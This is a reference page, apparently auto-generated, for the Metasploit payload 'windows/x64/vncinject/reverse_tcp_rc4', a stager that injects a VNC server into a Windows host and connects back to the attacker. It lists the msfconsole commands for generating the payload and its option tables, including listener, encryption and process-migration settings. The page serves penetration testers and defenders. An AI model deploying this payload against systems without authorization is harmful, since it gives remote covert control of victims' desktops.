Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm) - Metasploit

This page contains detailed information about how to use the payload/windows/x64/vncinject/reverse_tcp_rc4 metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview

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Name: Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
Module: payload/windows/x64/vncinject/reverse_tcp_rc4
Source code: modules/payloads/stagers/windows/x64/reverse_tcp_rc4.rb
Disclosure date: -
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): x64
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

Inject a VNC Dll via a reflective loader (Windows x64) (staged). Connect back to the attacker

Module Ranking and Traits

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Module Ranking:

• normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

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msf > use payload/windows/x64/vncinject/reverse_tcp_rc4
msf payload(reverse_tcp_rc4) > show options
    ... show and set options ...
msf payload(reverse_tcp_rc4) > generate

To learn how to generate payload/windows/x64/vncinject/reverse_tcp_rc4 with msfvenom, please read this.

Required Options

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• LHOST: The listen address (an interface may be specified)

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Msfconsole Usage

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Here is how the windows/x64/vncinject/reverse_tcp_rc4 payload looks in the msfconsole:

msf6 > use payload/windows/x64/vncinject/reverse_tcp_rc4

msf6 payload(windows/x64/vncinject/reverse_tcp_rc4) > show info

       Name: Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
     Module: payload/windows/x64/vncinject/reverse_tcp_rc4
   Platform: Windows
       Arch: x64
Needs Admin: No
 Total size: 585
       Rank: Normal

Provided by:
  sf <[email protected]>
  hdm <[email protected]>
  skape <[email protected]>
  mihi
  max3raza
  RageLtMan

Basic options:
Name                  Current Setting  Required  Description
----                  ---------------  --------  -----------
AUTOVNC               true             yes       Automatically launch VNC viewer if present
DisableCourtesyShell  true             no        Disables the Metasploit Courtesy shell
EXITFUNC              process          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST                                  yes       The listen address (an interface may be specified)
LPORT                 4444             yes       The listen port
RC4PASSWORD           msf              yes       Password to derive RC4 key from
VNCHOST               127.0.0.1        yes       The local host to use for the VNC proxy
VNCPORT               5900             yes       The local port to use for the VNC proxy
ViewOnly              true             no        Runs the viewer in view mode

Description:
  Inject a VNC Dll via a reflective loader (Windows x64) (staged). 
  Connect back to the attacker

Module Options

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This is a complete list of options available in the windows/x64/vncinject/reverse_tcp_rc4 payload:

msf6 payload(windows/x64/vncinject/reverse_tcp_rc4) > show options

Module options (payload/windows/x64/vncinject/reverse_tcp_rc4):

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   AUTOVNC               true             yes       Automatically launch VNC viewer if present
   DisableCourtesyShell  true             no        Disables the Metasploit Courtesy shell
   EXITFUNC              process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                                  yes       The listen address (an interface may be specified)
   LPORT                 4444             yes       The listen port
   RC4PASSWORD           msf              yes       Password to derive RC4 key from
   VNCHOST               127.0.0.1        yes       The local host to use for the VNC proxy
   VNCPORT               5900             yes       The local port to use for the VNC proxy
   ViewOnly              true             no        Runs the viewer in view mode

Advanced Options

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Here is a complete list of advanced options supported by the windows/x64/vncinject/reverse_tcp_rc4 payload:

msf6 payload(windows/x64/vncinject/reverse_tcp_rc4) > show advanced

Module advanced options (payload/windows/x64/vncinject/reverse_tcp_rc4):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   DisableSessionTracking      false            no        Disables the VNC payload from following the active session as users log in an out of the input desktop
   EnableStageEncoding         false            no        Encode the second stage payload
   PayloadUUIDName                              no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                               no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                              no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking         false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries             0                yes       How many additional successful pingbacks
   PingbackSleep               30               yes       Time (in seconds) to sleep between pingbacks
   PrependMigrate              false            yes       Spawns and runs shellcode in new process
   PrependMigrateProc                           no        Process to spawn and run shellcode in
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StageEncoder                                 no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                    no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback       true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

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Related Pull Requests

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• #14584 Merged Pull Request: Implement the zeitwerk autoloader within lib/msf/base
• #14202 Merged Pull Request: Implement the zeitwerk autoloader within lib/msf/core
• #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
• #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
• #6655 Merged Pull Request: use MetasploitModule as a class name
• #2525 Merged Pull Request: Change module boilerplate
• #2426 Merged Pull Request: Find and replace Msf::Config.install_root, "data"
• #1241 Merged Pull Request: Removed all $Id$ and $Revision$ occurences

References

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• CVE: Not available
• https://github.com/stephenfewer/ReflectiveDLLInjection
• https://github.com/rapid7/ReflectiveDLLInjection

See Also

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Check also the following modules related to this module:

• payload/windows/x64/vncinject/bind_ipv6_tcp
• payload/windows/x64/vncinject/bind_ipv6_tcp_uuid
• payload/windows/x64/vncinject/bind_named_pipe
• payload/windows/x64/vncinject/bind_tcp
• payload/windows/x64/vncinject/bind_tcp_rc4
• payload/windows/x64/vncinject/bind_tcp_uuid
• payload/windows/x64/vncinject/reverse_http
• payload/windows/x64/vncinject/reverse_https
• payload/windows/x64/vncinject/reverse_tcp
• payload/windows/x64/vncinject/reverse_tcp_uuid
• payload/windows/x64/vncinject/reverse_winhttp
• payload/windows/x64/vncinject/reverse_winhttps

Authors

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• sf
• hdm
• skape
• mihi
• max3raza
• RageLtMan

Version

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This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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